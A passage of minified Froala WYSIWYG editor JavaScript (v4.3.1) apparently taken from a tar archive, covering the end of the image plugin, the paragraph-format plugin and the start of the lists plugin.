FileReader;t.onload=se,t.readAsDataURL(e)}(l),!1}}}function fe(e){return e=e.replace(/<img /gi,'<img data-fr-image-pasted="true" ')}function ge(e){if("false"==S(this).parents("[contenteditable]").not(".fr-element").not(".fr-img-caption").not("body").first().attr("contenteditable"))return!0;if(e&&"touchend"==e.type&&a)return!0;if(e&&A.edit.isDisabled())return e.stopPropagation(),e.preventDefault(),!1;for(var t=0;t<Me.INSTANCES.length;t++)Me.INSTANCES[t]!=A&&Me.INSTANCES[t].events.trigger("image.hideResizer");A.toolbar.disable(),e&&(e.stopPropagation(),e.preventDefault()),A.helpers.isMobile()&&(A.events.disableBlur(),A.$el.blur(),A.events.enableBlur()),A.opts.iframe&&A.size.syncIframe(),C=S(this),we(),x(),n(),A.browser.msie?(A.popups.areVisible()&&A.events.disableBlur(),A.win.getSelection&&(A.win.getSelection().removeAllRanges(),A.win.getSelection().addRange(A.doc.createRange()))):A.selection.clear(),A.helpers.isIOS()&&(A.events.disableBlur(),A.$el.blur()),A.button.bulkRefresh(),A.events.trigger("video.hideResizer")}function ce(e){C&&(function t(){return de}()||!0===e)&&(A.toolbar.enable(),p.removeClass("fr-active"),A.popups.hideAll(),C=null,me(),f=null,g&&g.hide())}r[i]="Image cannot be loaded from the passed link.",r[c]="No link in upload response.",r[d]="Error during file upload.",r[u]="Parsing response failed.",r[R]="File is too large.",r[U]="Image file type is invalid.",r[7]="Files can be uploaded only to same domain in IE 8 and IE 9.";var de=!(r[8]="Image file is corrupted.");function ue(){de=!0}function me(){de=!1}function he(e,t,a){if(!A.opts.htmlUntouched&&A.opts.useClasses)e.removeClass("fr-fil fr-fir fr-dib fr-dii"),a&&e.addClass("fr-fi".concat(a[0])),t&&e.addClass("fr-di".concat(t[0]));else if("inline"==t)if(e.css({display:"inline-block",verticalAlign:"bottom",margin:A.opts.imageDefaultMargin}),"center"==a)e.css({"float":"none",marginBottom:"",marginTop:"",maxWidth:"calc(100% - ".concat(2*A.opts.imageDefaultMargin,"px)"),textAlign:"center"});else if("left"==a){var i="0px",r=e.parent("span.fr-img-caption").get(0);r||(r=e.parent().get(0)),r&&"li"===r.tagName.toLowerCase()?i="20px":r&&"p"===r.tagName.toLowerCase()&&(i="15px"),e.css({"float":"left",marginLeft:0,maxWidth:"calc(100% - ".concat(A.opts.imageDefaultMargin,"px)"),textAlign:"left",marginRight:i})}else e.css({"float":"right",marginRight:0,maxWidth:"calc(100% - ".concat(A.opts.imageDefaultMargin,"px)"),textAlign:"right"});else"block"==t&&(e.css({display:"block","float":"none",verticalAlign:"top",margin:"".concat(A.opts.imageDefaultMargin,"px auto"),textAlign:"center"}),"left"==a?e.css({marginLeft:0,textAlign:"left"}):"right"==a&&e.css({marginRight:0,textAlign:"right"}))}function ve(e){if(void 0===e&&(e=Ce()),e){if(e.hasClass("fr-fil"))return"left";if(e.hasClass("fr-fir"))return"right";if(e.hasClass("fr-dib")||e.hasClass("fr-dii"))return"center";var t=e.css("float");if(e.css("float","none"),"block"==e.css("display")){if(e.css("float",""),e.css("float")!=t&&e.css("float",t),0===parseInt(e.css("margin-left"),10))return"left";if(0===parseInt(e.css("margin-right"),10))return"right"}else{if(e.css("float",""),e.css("float")!=t&&e.css("float",t),"left"==e.css("float"))return"left";if("right"==e.css("float"))return"right"}}return"center"}function be(e){void 0===e&&(e=Ce());var t=e.css("float");return e.css("float","none"),"block"==e.css("display")?(e.css("float",""),e.css("float")!=t&&e.css("float",t),"block"):(e.css("float",""),e.css("float")!=t&&e.css("float",t),"inline")}function ye(){var e=A.popups.get("image.insert");e||(e=X()),A.popups.isVisible("image.insert")||(k(),A.popups.refresh("image.insert"),A.popups.setContainer("image.insert",A.$sc));var t=Ce(),a=t&&t.outerWidth()/2;Se()&&(t=t.find(".fr-img-wrap"),a=C.outerWidth()/2);var i,r=t.offset().left+a,n=t.outerHeight(!0);A.opts.iframe&&Se()&&(n=C?C.outerHeight():0),i=0<A.$el.find("img[data-fr-image-pasted]").length?A.$wp.offset().top-A.helpers.scrollTop()+A.$wp.height():t.offset().top+t.outerHeight(),A.popups.show("image.insert",r,i,n,!0)}function we(){if(C){A.events.disableBlur(),A.selection.clear();var e=A.doc.createRange();e.selectNode(C.get(0)),A.browser.msie&&e.collapse(!0),A.selection.get().addRange(e),A.events.enableBlur()}}function Ae(){return C}function Ce(){return Se()?C.parents(".fr-img-caption").first():C}function Se(){return!!C&&0<C.parents(".fr-img-caption").length}function Ee(e){for(var t=document.createDocumentFragment();e.firstChild;){var a=e.removeChild(e.firstChild);t.appendChild(a)}e.parentNode.replaceChild(t,e)}return{_init:function Re(){var n;(function e(){A.events.$on(A.$el,A._mousedown,"IMG"==A.el.tagName?null:'img:not([contenteditable="false"])',function(e){if("false"==S(this).parents("contenteditable").not(".fr-element").not(".fr-img-caption").not("body").first().attr("contenteditable"))return!0;A.helpers.isMobile()||A.selection.clear(),t=!0,A.popups.areVisible()&&A.events.disableBlur(),A.browser.msie&&(A.events.disableBlur(),A.$el.attr("contenteditable",!1)),A.draggable||"touchstart"==e.type||e.preventDefault(),e.stopPropagation()}),A.events.$on(A.$el,A._mousedown,".fr-img-caption .fr-inner",function(e){A.core.hasFocus()||A.events.focus(),e.stopPropagation()}),A.events.$on(A.$el,"paste",".fr-img-caption .fr-inner",function(e){!0===A.opts.toolbarInline&&(A.toolbar.hide(),e.stopPropagation())}),A.events.$on(A.$el,A._mousedown,'img:not([contenteditable="false"])',function(e){var t=this;A.browser.mozilla&&3==e.which&&(S(this).attr("contenteditable",!1),setTimeout(function(){S(t).removeAttr("contenteditable")},200))}),A.events.$on(A.$el,A._mouseup,"IMG"==A.el.tagName?null:'img:not([contenteditable="false"])',function(e){if("false"==S(this).parents("contenteditable").not(".fr-element").not(".fr-img-caption").not("body").first().attr("contenteditable"))return!0;t&&(t=!1,e.stopPropagation(),A.browser.msie&&(A.$el.attr("contenteditable",!0),A.events.enableBlur()))}),A.events.on("keyup",function(e){if(e.shiftKey&&""===A.selection.text().replace(/\n/g,"")&&A.keys.isArrow(e.which)){var t=A.selection.element(),a=A.selection.endElement();t&&"IMG"==t.tagName?z(S(t)):a&&"IMG"==a.tagName&&z(S(a))}},!0),A.events.on("drop",V),A.events.on("element.beforeDrop",F),A.events.on("mousedown window.mousedown",ue),A.events.on("window.touchmove",me),A.events.on("mouseup window.mouseup",function(){if(C&&!A.helpers.isMobile())return ce(),!1;me()}),A.events.on("touchstart touchend",function(){if(C&&A.helpers.isMobile())return ce(),!1;me()}),A.events.on("commands.mousedown",function(e){0<e.parents(".fr-toolbar").length&&ce()}),A.events.on("image.resizeEnd",function(){A.opts.iframe&&A.size.syncIframe()}),A.events.on("blur image.hideResizer commands.undo commands.redo element.dropped",function(){ce(!(t=!1))}),A.events.on("modals.hide",function(){C&&(we(),A.selection.clear())}),A.events.on("image.resizeEnd",function(){A.win.getSelection&&z(C)}),A.events.on("filestack-init",function(){X()}),A.events.on("filestack-init-edit",function(){for(var e=A.$(".fr-popup"),t=e.length-1;0<=t;t--)e[t].parentElement.removeChild(e[t]);N()}),A.opts.imageAddNewLine&&A.events.on("image.inserted",function(e){var t=e.get(0);for(t.nextSibling&&"BR"===t.nextSibling.tagName&&(t=t.nextSibling);t&&!A.node.isElement(t);)t=A.node.isLastSibling(t)?t.parentNode:null;A.node.isElement(t)&&(A.opts.enter===Me.ENTER_BR?e.after("<br>"):S(A.node.blockParent(e.get(0))).after("<".concat(A.html.defaultTag(),"><br></").concat(A.html.defaultTag(),">")))})})(),"IMG"==A.el.tagName&&A.$el.addClass("fr-view"),A.events.$on(A.$el,A.helpers.isMobile()&&!A.helpers.isWindowsPhone()?"touchend":"click","IMG"==A.el.tagName?null:'img:not([contenteditable="false"])',ge),A.helpers.isMobile()&&(A.events.$on(A.$el,"touchstart","IMG"==A.el.tagName?null:'img:not([contenteditable="false"])',function(){a=!1}),A.events.$on(A.$el,"touchmove",function(){a=!0})),A.$wp?(A.events.on("window.keydown keydown",ie,!0),A.events.on("keyup",function(e){if(C&&e.which==Me.KEYCODE.ENTER)return!1},!0),A.events.$on(A.$el,"keydown",function(){var e=A.selection.element();(e.nodeType===Node.TEXT_NODE||"BR"==e.tagName&&A.node.isLastSibling(e))&&(e=e.parentNode),A.node.hasClass(e,"fr-inner")||(A.node.hasClass(e,"fr-img-caption")||(e=S(e).parents(".fr-img-caption").get(0)),A.node.hasClass(e,"fr-img-caption")&&(A.opts.trackChangesEnabled||S(e).after(Me.INVISIBLE_SPACE+Me.MARKERS),A.selection.restore()))})):A.events.$on(A.$win,"keydown",ie),A.events.on("toolbar.esc",function(){if(C){if(A.$wp)A.events.disableBlur(),A.events.focus();else{var e=C;ce(!0),A.selection.setAfter(e.get(0)),A.selection.restore()}return!1}},!0),A.events.on("toolbar.focusEditor",function(){if(C)return!1},!0),A.events.on("window.cut window.copy",function(e){if(C&&A.popups.isVisible("image.edit")&&!A.popups.get("image.edit").find(":focus").length){var t=Ce();Se()?(t.before(Me.START_MARKER),t.after(Me.END_MARKER),A.selection.restore(),A.paste.saveCopiedText(t.get(0).outerHTML,t.text())):(we(),A.paste.saveCopiedText(C.get(0).outerHTML,C.attr("alt"))),"copy"==e.type?setTimeout(function(){z(C)}):(ce(!0),A.undo.saveStep(),setTimeout(function(){A.undo.saveStep()},0))}},!0),A.browser.msie&&A.events.on("keydown",function(e){if(!A.selection.isCollapsed()||!C)return!0;var t=e.which;t==Me.KEYCODE.C&&A.keys.ctrlKey(e)?A.events.trigger("window.copy"):t==Me.KEYCODE.X&&A.keys.ctrlKey(e)&&A.events.trigger("window.cut")}),A.events.$on(S(A.o_win),"keydown",function(e){if(A.opts.pluginsEnabled.includes("filestack")&&A.opts.iframe){var t=document.getElementsByClassName("fs-transforms-container"),a=!1;if(t&&t.length){var i,r=Ke(t);try{for(r.s();!(i=r.n()).done;){var n=i.value;n.childNodes&&n.childNodes.length&&(a=!0)}}catch(s){r.e(s)}finally{r.f()}}a&&(C=null)}var o=e.which;if(C&&o==Me.KEYCODE.BACKSPACE)return e.preventDefault(),!1}),A.events.$on(A.$win,"keydown",function(e){var t=e.which;C&&C.hasClass("fr-uploading")&&t==Me.KEYCODE.ESC&&C.trigger("abortUpload")}),A.events.on("destroy",function(){C&&C.hasClass("fr-uploading")&&C.trigger("abortUpload")}),A.events.on("paste.before",pe),A.events.on("paste.beforeCleanup",fe),A.events.on("paste.after",oe),A.events.on("html.set",v),A.events.on("html.inserted",v),v(),A.events.on("destroy",function(){s=[]}),A.events.on("html.processGet",re),A.opts.imageOutputSize&&A.events.on("html.beforeGet",function(){n=A.el.querySelectorAll("img");for(var e=0;e<n.length;e++){var t=parseFloat(S(n[e]).css("padding-left"))+parseFloat(S(n[e]).css("padding-right")),a=S(n[e]).width()-t,i=n[e].style.width||a,r=n[e].style.height||S(n[e]).height();i&&n[e].setAttribute("width","".concat(i).replace(/px/,"")),r&&n[e].setAttribute("height","".concat(r).replace(/px/,""))}}),A.opts.iframe&&A.events.on("image.loaded",A.size.syncIframe),A.$wp&&(b(),A.events.on("contentChanged",b)),A.events.$on(S(A.o_win),"orientationchange.image",function(){setTimeout(function(){C&&z(C)},100)}),N(!0),X(!0),ee(!0),J(!0),A.events.on("node.remove",function(e){if("IMG"==e.get(0).tagName)return ae(e),!1})},showInsertPopup:function Ue(){var e=A.$tb.find('.fr-command[data-cmd="insertImage"]'),t=A.popups.get("image.insert");if(t||(t=X()),k(),!t.hasClass("fr-active"))if(A.popups.refresh("image.insert"),A.popups.setContainer("image.insert",A.$tb),e.isVisible()){var a=A.button.getPosition(e),i=a.left,r=a.top;A.popups.show("image.insert",i,r,e.outerHeight())}else A.position.forSelection(t),A.popups.show("image.insert")},showLayer:function xe(e){var t,a,i=A.popups.get("image.insert");if(C||A.opts.toolbarInline){if(C){var r=Ce(),n=0;Se()&&(r=r.find(".fr-img-wrap"),n=C.outerWidth()/2),a=r.offset().top+r.outerHeight(),t=r.offset().left+n}}else{var o=A.$tb.find('.fr-command[data-cmd="insertImage"]');t=o.offset().left,a=o.offset().top+(A.opts.toolbarBottom?10:o.outerHeight()-10)}!C&&A.opts.toolbarInline&&(a=i.offset().top-A.helpers.getPX(i.css("margin-top")),i.hasClass("fr-above")&&(a+=i.outerHeight())),i.find(".fr-layer").removeClass("fr-active"),i.find(".fr-".concat(e,"-layer")).addClass("fr-active"),A.popups.show("image.insert",t,a,C?C.outerHeight():0,Se()),A.accessibility.focusPopup(i)},refreshUploadButton:function De(e){var t=A.popups.get("image.insert");t&&t.find(".fr-image-upload-layer").hasClass("fr-active")&&e.addClass("fr-active").attr("aria-pressed",!0)},refreshByURLButton:function Te(e){var t=A.popups.get("image.insert");t&&t.find(".fr-image-by-url-layer").hasClass("fr-active")&&e.addClass("fr-active").attr("aria-pressed",!0)},upload:H,insertByURL:function $e(){var e=A.popups.get("image.insert").find(".fr-image-by-url-layer input");if(0<e.val().length){P(),B(A.language.translate("Loading image"));var t=e.val().trim();if(A.opts.imageUploadRemoteUrls&&A.opts.imageCORSProxy&&A.opts.imageUpload){var a=new XMLHttpRequest;a.onload=function(){200==this.status?H([new Blob([this.response],{type:this.response.type||"image/png"})],C):I(i)},a.onerror=function(){_(t,!0,[],C)},a.open("GET","".concat(A.opts.imageCORSProxy,"/").concat(t),!0),a.responseType="blob",a.send()}else _(t,!0,[],C);e.val(""),e.blur()}},align:function Ie(e){var t=Ce();t.removeClass("fr-fir fr-fil"),!A.opts.htmlUntouched&&A.opts.useClasses?"left"==e?t.addClass("fr-fil"):"right"==e&&t.addClass("fr-fir"):he(t,be(),e),we(),x(),n(),A.selection.clear()},refreshAlign:function Ne(e){C&&e.find("> *").first().replaceWith(A.icon.create("image-align-".concat(ve())))},refreshAlignOnShow:function Pe(e,t){C&&t.find('.fr-command[data-param1="'.concat(ve(),'"]')).addClass("fr-active").attr("aria-selected",!0)},display:function ke(e){var t=Ce();t.removeClass("fr-dii fr-dib"),!A.opts.htmlUntouched&&A.opts.useClasses?"inline"==e?t.addClass("fr-dii"):"block"==e&&t.addClass("fr-dib"):he(t,e,ve()),we(),x(),n(),A.selection.clear()},refreshDisplayOnShow:function Be(e,t){C&&t.find('.fr-command[data-param1="'.concat(be(),'"]')).addClass("fr-active").attr("aria-selected",!0)},replace:ye,back:function e(){C?(A.events.disableBlur(),S(".fr-popup input:focus").blur(),z(C)):(A.events.disableBlur(),A.selection.restore(),A.events.enableBlur(),A.popups.hide("image.insert"),A.toolbar.showInline())},get:Ae,getEl:Ce,insert:_,showProgressBar:P,remove:ae,hideProgressBar:k,applyStyle:function Oe(e,t,a){if(void 0===t&&(t=A.opts.imageStyles),void 0===a&&(a=A.opts.imageMultipleStyles),!C)return!1;var i=Ce();if(!a){var r=Object.keys(t);r.splice(r.indexOf(e),1),i.removeClass(r.join(" "))}"object"==Ye(t[e])?(i.removeAttr("style"),i.css(t[e].style)):(i.toggleClass(e),Se()&&C.hasClass(e)&&C.removeClass(e)),z(C)},showAltPopup:j,showSizePopup:Z,setAlt:function ze(e){if(C){var t=A.popups.get("image.alt");C.attr("alt",e||t.find("input").val()||""),t.find("input:focus").blur(),z(C)}},setSize:function Le(e,t){if(C){var a=A.popups.get("image.size");e=e||a.find('input[name="width"]').val()||"",t=t||a.find('input[name="height"]').val()||"";var i=/^[\d]+((px)|%)*$/g;C.removeAttr("width").removeAttr("height"),e.match(i)?C.css("width",e):C.css("width",""),t.match(i)?C.css("height",t):C.css("height",""),Se()&&(C.parents(".fr-img-caption").removeAttr("width").removeAttr("height"),e.match(i)?C.parents(".fr-img-caption").css("width",e):C.parents(".fr-img-caption").css("width",""),t.match(i)?C.parents(".fr-img-caption").css("height",t):C.parents(".fr-img-caption").css("height","")),a&&a.find("input:focus").blur(),z(C)}},toggleCaption:function _e(){var e;if(C&&!Se()){(e=C).parent().is("a")&&(e=C.parent());var t,a,i=C.parents("ul")&&0<C.parents("ul").length?C.parents("ul"):C.parents("ol")&&0<C.parents("ol").length?C.parents("ol"):[];if(0<i.length){var r=i.find("li").length,n=C.parents("li"),o=document.createElement("li");r-1===n.index()&&(i.append(o),o.innerHTML=" ")}e.attr("style")?a=-1<(t=e.attr("style").split(":")).indexOf("width")?t[t.indexOf("width")+1].replace(";",""):"":e.attr("width")&&(a=e.attr("width"));var s=A.opts.imageResizeWithPercent?(-1<a.indexOf("px")?null:a)||"100%":C.width()+"px";e.wrap('<div class="fr-img-space-wrap"><span '+(A.browser.mozilla?"":'contenteditable="false"')+'class="fr-img-caption '+C.attr("class")+'" style="'+(A.opts.useClasses?"":e.attr("style"))+'" draggable="false"></span></div>'),e.wrap('<span class="fr-img-wrap"></span>'),C.after('<span class="fr-inner"'.concat(A.browser.mozilla?"":' contenteditable="true"',">").concat(Me.START_MARKER).concat(A.language.translate("Image Caption")).concat(Me.END_MARKER,"</span>")),C.parents(".fr-img-caption").css("width",s);var l=C.parents(".fr-img-space-wrap").length;1==l?Ee(document.querySelector(".fr-img-space-wrap")):1<l&&(Ee(document.querySelector(".fr-img-space-wrap")),Ee(document.querySelector(".fr-img-space-wrap2"))),ce(!0),A.selection.restore()}else{if(e=Ce(),C.insertBefore(e),null!==e[0].querySelector("a")){for(var p,f=e[0].querySelector("a"),g=document.createElement("a"),c=0,d=f.attributes,u=d.length;c<u;c++)p=d[c],g.setAttribute(p.nodeName,p.nodeValue);C.wrap(g)}C.attr("class",e.attr("class").replace("fr-img-caption","")).attr("style",e.attr("style")),e.remove();var m=C.parents(".fr-img-space-wrap").length;1==m?Ee(document.querySelector(".fr-img-space-wrap")):1<m&&(Ee(document.querySelector(".fr-img-space-wrap")),Ee(document.querySelector(".fr-img-space-wrap2"))),z(C)}},hasCaption:Se,exitEdit:ce,edit:z}},Me.DefineIcon("insertImage",{NAME:"image",SVG_KEY:"insertImage"}),Me.RegisterShortcut(Me.KEYCODE.P,"insertImage",null,"P"),Me.RegisterCommand("insertImage",{title:"Insert Image",undo:!1,focus:!0,refreshAfterCallback:!1,popup:!0,callback:function(){this.popups.isVisible("image.insert")?(this.$el.find(".fr-marker").length&&(this.events.disableBlur(),this.selection.restore()),this.popups.hide("image.insert")):this.image.showInsertPopup()},plugin:"image"}),Me.DefineIcon("imageUpload",{NAME:"upload",SVG_KEY:"upload"}),Me.RegisterCommand("imageUpload",{title:"Upload Image",undo:!1,focus:!1,toggle:!0,callback:function(){this.image.showLayer("image-upload")},refresh:function(e){this.image.refreshUploadButton(e)}}),Me.DefineIcon("imageByURL",{NAME:"link",SVG_KEY:"insertLink"}),Me.RegisterCommand("imageByURL",{title:"By URL",undo:!1,focus:!1,toggle:!0,callback:function(){this.image.showLayer("image-by-url")},refresh:function(e){this.image.refreshByURLButton(e)}}),Me.RegisterCommand("imageInsertByURL",{title:"Insert Image",undo:!0,refreshAfterCallback:!1,callback:function(){this.image.insertByURL()},refresh:function(e){this.image.get()?e.text(this.language.translate("Replace")):e.text(this.language.translate("Insert"))}}),Me.DefineIcon("imageDisplay",{NAME:"star",SVG_KEY:"imageDisplay"}),Me.RegisterCommand("imageDisplay",{title:"Display",type:"dropdown",options:{inline:"Inline",block:"Break Text"},callback:function(e,t){this.image.display(t)},refresh:function(e){this.opts.imageTextNear||e.addClass("fr-hidden")},refreshOnShow:function(e,t){this.image.refreshDisplayOnShow(e,t)}}),Me.DefineIcon("image-align",{NAME:"align-left",SVG_KEY:"alignLeft"}),Me.DefineIcon("image-align-left",{NAME:"align-left",SVG_KEY:"alignLeft"}),Me.DefineIcon("image-align-right",{NAME:"align-right",SVG_KEY:"alignRight"}),Me.DefineIcon("image-align-center",{NAME:"align-justify",SVG_KEY:"alignCenter"}),Me.DefineIcon("imageAlign",{NAME:"align-justify",SVG_KEY:"alignJustify"}),Me.RegisterCommand("imageAlign",{type:"dropdown",title:"Align",options:{left:"Align Left",center:"None",right:"Align Right"},html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=Me.COMMANDS.imageAlign.options;for(var a in t)t.hasOwnProperty(a)&&(e+='<li role="presentation"><a class="fr-command fr-title" tabIndex="-1" role="option" data-cmd="imageAlign" data-param1="'.concat(a,'" title="').concat(this.language.translate(t[a]),'">').concat(this.icon.create("image-align-".concat(a)),'<span class="fr-sr-only">').concat(this.language.translate(t[a]),"</span></a></li>"));return e+="</ul>"},callback:function(e,t){this.image.align(t)},refresh:function(e){this.image.refreshAlign(e)},refreshOnShow:function(e,t){this.image.refreshAlignOnShow(e,t)}}),Me.DefineIcon("imageReplace",{NAME:"exchange",FA5NAME:"exchange-alt",SVG_KEY:"replaceImage"}),Me.RegisterCommand("imageReplace",{title:"Replace",undo:!1,focus:!1,popup:!0,refreshAfterCallback:!1,callback:function(){this.image.replace()}}),Me.DefineIcon("imageRemove",{NAME:"trash",SVG_KEY:"remove"}),Me.RegisterCommand("imageRemove",{title:"Remove",callback:function(){this.image.remove()}}),Me.DefineIcon("imageBack",{NAME:"arrow-left",SVG_KEY:"back"}),Me.RegisterCommand("imageBack",{title:"Back",undo:!1,focus:!1,back:!0,callback:function(){this.image.back()},refresh:function(e){this.$;this.image.get()||this.opts.toolbarInline?(e.removeClass("fr-hidden"),e.next(".fr-separator").removeClass("fr-hidden")):(e.addClass("fr-hidden"),e.next(".fr-separator").addClass("fr-hidden"))}}),Me.RegisterCommand("imageDismissError",{title:"OK",undo:!1,callback:function(){this.image.hideProgressBar(!0)}}),Me.DefineIcon("imageStyle",{NAME:"magic",SVG_KEY:"imageClass"}),Me.RegisterCommand("imageStyle",{title:"Style",type:"dropdown",html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=this.opts.imageStyles;for(var a in t)if(t.hasOwnProperty(a)){var i=t[a];"object"==Ye(i)&&(i=i.title),e+='<li role="presentation"><a class="fr-command" tabIndex="-1" role="option" data-cmd="imageStyle" data-param1="'.concat(a,'">').concat(this.language.translate(i),"</a></li>")}return e+="</ul>"},callback:function(e,t){this.image.applyStyle(t)},refreshOnShow:function(e,t){var a=this.$,i=this.image.getEl();i&&t.find(".fr-command").each(function(){var e=a(this).data("param1"),t=i.hasClass(e);a(this).toggleClass("fr-active",t).attr("aria-selected",t)})}}),Me.DefineIcon("imageAlt",{NAME:"info",SVG_KEY:"imageAltText"}),Me.RegisterCommand("imageAlt",{undo:!1,focus:!1,popup:!0,title:"Alternative Text",callback:function(){this.image.showAltPopup()}}),Me.RegisterCommand("imageSetAlt",{undo:!0,focus:!1,title:"Update",refreshAfterCallback:!1,callback:function(){this.image.setAlt()}}),Me.DefineIcon("imageSize",{NAME:"arrows-alt",SVG_KEY:"imageSize"}),Me.RegisterCommand("imageSize",{undo:!1,focus:!1,popup:!0,title:"Change Size",callback:function(){this.image.showSizePopup()}}),Me.RegisterCommand("imageSetSize",{undo:!0,focus:!1,title:"Update",refreshAfterCallback:!1,callback:function(){this.image.setSize()}}),Me.DefineIcon("imageCaption",{NAME:"commenting",FA5NAME:"comment-alt",SVG_KEY:"imageCaption"}),Me.RegisterCommand("imageCaption",{undo:!0,focus:!1,title:"Image Caption",refreshAfterCallback:!0,callback:function(){this.image.toggleCaption()},refresh:function(e){this.image.get()&&e.toggleClass("fr-active",this.image.hasCaption())}})}); plugins/paragraph_format.min.js 0000674 00000011202 00000000000 0012622 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(a,t){"object"==typeof exports&&"undefined"!=typeof module?t(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],t):t(a.FroalaEditor)}(this,function(a){"use strict";a=a&&a.hasOwnProperty("default")?a["default"]:a,Object.assign(a.DEFAULTS,{paragraphFormat:{N:"Normal",H1:"Heading 1",H2:"Heading 2",H3:"Heading 3",H4:"Heading 4",PRE:"Code"},paragraphFormatSelection:!1,paragraphDefaultSelection:"Paragraph Format"}),a.PLUGINS.paragraphFormat=function(h){var g=h.$;function c(a,t){var e=h.html.defaultTag();if(t&&t.toLowerCase()!=e)if(0<a.find("ul, ol").length){var r=g("<"+t+">");a.prepend(r);for(var n=h.node.contents(a.get(0))[0];n&&["UL","OL"].indexOf(n.tagName)<0;){var o=n.nextSibling;r.append(n),n=o}}else a.html("<"+t+">"+a.html()+"</"+t+">")}return{apply:function u(a){"N"==a&&(a=h.html.defaultTag()),h.selection.save(),h.html.wrap(!0,!0,!h.opts.paragraphFormat.BLOCKQUOTE,!0,!0),h.selection.restore();var t,e,r,n,o,i,p,l,s=h.selection.blocks();h.selection.save(),h.$el.find("pre").attr("skip",!0);for(var m=0;m<s.length;m++)if(s[m].tagName!=a&&!h.node.isList(s[m])){var d=g(s[m]);if("LI"==s[m].tagName)c(d,a);else if("LI"==s[m].parentNode.tagName&&s[m])i=d,p=a,l=h.html.defaultTag(),p&&p.toLowerCase()!=l||(p='div class="fr-temp-div"'),i.replaceWith(g("<"+p+">").html(i.html()));else if(0<=["TD","TH"].indexOf(s[m].parentNode.tagName))r=d,n=a,o=h.html.defaultTag(),n||(n='div class="fr-temp-div"'+(h.node.isEmpty(r.get(0),!0)?' data-empty="true"':"")),n.toLowerCase()==o?(h.node.isEmpty(r.get(0),!0)||r.append("<br/>"),r.replaceWith(r.html())):r.replaceWith(g("<"+n+">").html(r.html()));else{if("PRE"===a&&null===d[0].nextSibling){var f=g("<br>");d[0].after(f[0])}t=d,(e=a)||(e='div class="fr-temp-div"'+(h.node.isEmpty(t.get(0),!0)?' data-empty="true"':"")),("H1"==e||"H2"==e||"H3"==e||"H4"==e||"H5"==e)&&-1<h.node.attributes(t.get(0)).indexOf("font-size:")?t.replaceWith(g("<"+e+" "+h.node.attributes(t.get(0)).replace(/font-size:[0-9]+px;?/,"")+">").html(t.html()).removeAttr("data-empty")):t.replaceWith(g("<"+e+" "+h.node.attributes(t.get(0))+">").html(t.html()).removeAttr("data-empty"))}}h.$el.find('pre:not([skip="true"]) + pre:not([skip="true"])').each(function(){g(this).prev().append("<br>"+g(this).html()),g(this).remove()}),h.$el.find("pre").removeAttr("skip"),h.html.unwrap(),h.selection.restore()},refreshOnShow:function i(a,t){var e=h.selection.blocks();if(e.length){var r=e[0],n="N",o=h.html.defaultTag();r.tagName.toLowerCase()!=o&&r!=h.el&&(n=r.tagName),t.find('.fr-command[data-param1="'+n+'"]').addClass("fr-active").attr("aria-selected",!0)}else t.find('.fr-command[data-param1="N"]').addClass("fr-active").attr("aria-selected",!0)},refresh:function o(a){if(h.opts.paragraphFormatSelection){var t=h.selection.blocks();if(t.length){var e=t[0],r="N",n=h.html.defaultTag();e.tagName.toLowerCase()!=n&&e!=h.el&&(r=e.tagName),0<=["LI","TD","TH"].indexOf(r)&&(r="N"),a.find(">span").text(h.language.translate(h.opts.paragraphFormat[r]))}else a.find(">span").text(h.language.translate(h.opts.paragraphFormat.N))}}}},a.RegisterCommand("paragraphFormat",{type:"dropdown",displaySelection:function(a){return a.opts.paragraphFormatSelection},defaultSelection:function(a){return a.language.translate(a.opts.paragraphDefaultSelection)},displaySelectionWidth:80,html:function(){var a='<ul class="fr-dropdown-list" role="presentation">',t=this.opts.paragraphFormat;for(var e in t)if(t.hasOwnProperty(e)){var r=this.shortcuts.get("paragraphFormat."+e);r=r?'<span class="fr-shortcut">'+r+"</span>":"",a+='<li role="presentation"><'+("N"==e?this.html.defaultTag()||"DIV":e)+' style="padding: 0 !important; margin: 0 !important; border: 0 !important; background-color: transparent !important; '+("PRE"==e||"N"==e?"font-size: 15px":"font-weight: bold !important; ")+("H1"==e?"font-size: 2em !important; ":"")+("H2"==e?"font-size: 1.5em !important; ":"")+("H3"==e?"font-size: 1.17em !important; ":"")+("H4"==e?"font-size: 15px !important;":"")+'" role="presentation"><a class="fr-command" tabIndex="-1" role="option" data-cmd="paragraphFormat" data-param1="'+e+'" title="'+this.language.translate(t[e])+'">'+this.language.translate(t[e])+"</a></"+("N"==e?this.html.defaultTag()||"DIV":e)+"></li>"}return a+="</ul>"},title:"Paragraph Format",callback:function(a,t){this.paragraphFormat.apply(t)},refresh:function(a){this.paragraphFormat.refresh(a)},refreshOnShow:function(a,t){this.paragraphFormat.refreshOnShow(a,t)},plugin:"paragraphFormat"}),a.DefineIcon("paragraphFormat",{NAME:"paragraph",SVG_KEY:"paragraphFormat"})}); plugins/lists.min.js 0000674 00000023342 00000000000 0010453 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],t):t(e.FroalaEditor)}(this,function(o){"use strict";o=o&&o.hasOwnProperty("default")?o["default"]:o,Object.assign(o.DEFAULTS,{listAdvancedTypes:!0}),o.PLUGINS.lists=function(g){var u=g.$;function h(e){return'<span class="fr-open-'.concat(e.toLowerCase(),'"></span>')}function N(e){return'<span class="fr-close-'.concat(e.toLowerCase(),'"></span>')}function c(e,t){!function c(e,t){for(var a=[],n=0;n<e.length;n++){var r=e[n].parentNode;"LI"==e[n].tagName&&r.tagName!=t&&a.indexOf(r)<0&&a.push(r)}for(var o=a.length-1;0<=o;o--){var l=u(a[o]);l.replaceWith("<".concat(t.toLowerCase()," ").concat(g.node.attributes(l.get(0)),">").concat(l.html(),"</").concat(t.toLowerCase(),">"))}}(e,t);var a,n=g.html.defaultTag(),r=null;e.length&&(a="rtl"==g.opts.direction||"rtl"==u(e[0]).css("direction")?"margin-right":"margin-left");for(var o=0;o<e.length;o++)if("TD"!=e[o].tagName&&"TH"!=e[o].tagName&&"LI"!=e[o].tagName){var 